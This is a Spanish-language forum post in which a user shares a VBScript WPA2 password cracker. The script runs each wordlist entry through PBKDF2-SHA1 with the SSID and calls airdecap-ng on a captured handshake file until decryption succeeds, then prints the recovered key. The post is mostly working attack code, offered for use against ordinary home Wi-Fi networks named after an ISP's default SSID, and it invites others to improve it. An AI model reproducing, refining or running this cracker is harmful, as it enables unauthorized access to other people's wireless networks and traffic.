Hola mis queridos colegas !!

Bueno, tenia mucho tiempo que no andaba por aqui, pero bueno, en los ultimos dias he estado programando un pequeño script en vbs el cual me ha dado buenos resultados es rapido y no consume CPU, ni memoria como el ya conocido aircrack, se me ocurrio hacelo de esta manera ( cosas de locos, ya saben )
aqui les dejo el codigo si alguien puede perfeccionarlo pues mucho mejor,[/img][/img][/img] requisitos :

airdecap-ng (librerias)
ChilkatAx-9.5.0-win32.zip ( http://www.chilkatsoft.com/download/9.5.0.49/ChilkatAx-9.5.0-win32.zip )
diccionario y dale pedale.....

Dim fso, outFile, variable, pw, tama
 
' abre el diccionario
acum = 0
const ForReading = 1
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objTextFile = objFSO.OpenTextFile _
("f:\wpa2\clarohauwai-3.txt", ForReading)
start_time = time()
 
' empieza a recorrer el diccionario 
Do Until objTextFile.AtEndOfStream
strNextLine = objTextFile.Readline
arrServiceList = Split(strNextLine)
 
Set crypt = CreateObject("Chilkat_9_5_0.Crypt2")
success = crypt.UnlockComponent("pepe")
If (success <> 1) Then
    outFile.WriteLine(crypt.LastErrorText)
    WScript.Quit
End If
 
'  pasada del diccionario WPA passphrase
pw = arrServiceList(0)          'Induction
pwCharset = "ansi"
acum = acum + 1
 
'  Hash algoritmo: sha1, md2, md5, etc.
hashAlg = "sha1"
 
' ssid y lo convierte a hex
strString = "Claro_xxxx"     'Coherer
strHex =""
For i=1 To Len(strString)
    strHex = strHex + Hex(Asc(Mid(strString,i,1)))
Next
 
' asigna la variable a ssidHex
ssidHex = strHex
 
'  la WPA key calcula 4096 interaciones.
iterationCount = 4096
outputBitLen = 256
enc = "hex"
 
start_time2 = time()
 
' reliza el calculo del hash 
wpaHexKey = crypt.Pbkdf2(pw,pwCharset,hashAlg,ssidHex,iterationCount,outputBitLen,enc)
 
' llama el airdecap y le envia el hash calculado
Set WshShell = CreateObject("WScript.Shell")
Return = WshShell.Run("f:\wpa2\airdecap-ng.exe -l -k " & wpaHexKey & " -e " & strString & " F:\WPA2\rules\Claro_xxxx.cap",0, True)
 
' imprime variables 
  WScript.echo "SSID        :", strString  ,            "                     | Cantidad:",acum
  WScript.Echo "------------------------------------------------------------------------------"
  WScript.echo "CLAVE       :", pw
  WScript.Echo "------------------------------------------------------------------------------"
  WScript.echo "WPA PMK     :", wpaHexKey 
  WScript.Echo "------------------------------------------------------------------------------"
 
' determina el size del archivo que genera el airdecap
filename = ("F:\WPA2\rules\Claro_xxxx-dec.cap")
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFile(filename) 
tama = f.Size
 
' si el archivo -dec.cap es alterado, ocea cuando se le envia el hash entonces....blablabla
If tama > 24 Then
   WScript.Echo " "
   WScript.Echo "========================================"
   WScript.Echo " "
   WScript.Echo "Clave desifrada 100% :", pw
   WScript.Echo " "
   WScript.Echo "========================================"
   Exit do
 
End If
 
 
Loop
 
'airdecap-ng -k A288FCF0CAAACDA9A9F58633FF35E8992A01D9C10BA5E02EFDF8CB5D730CE7BC -e Coherer wpa-Induction.pcap | find "decrypted WPA"

Suerte !!!!

Mod: Los códigos deben ir en GeSHi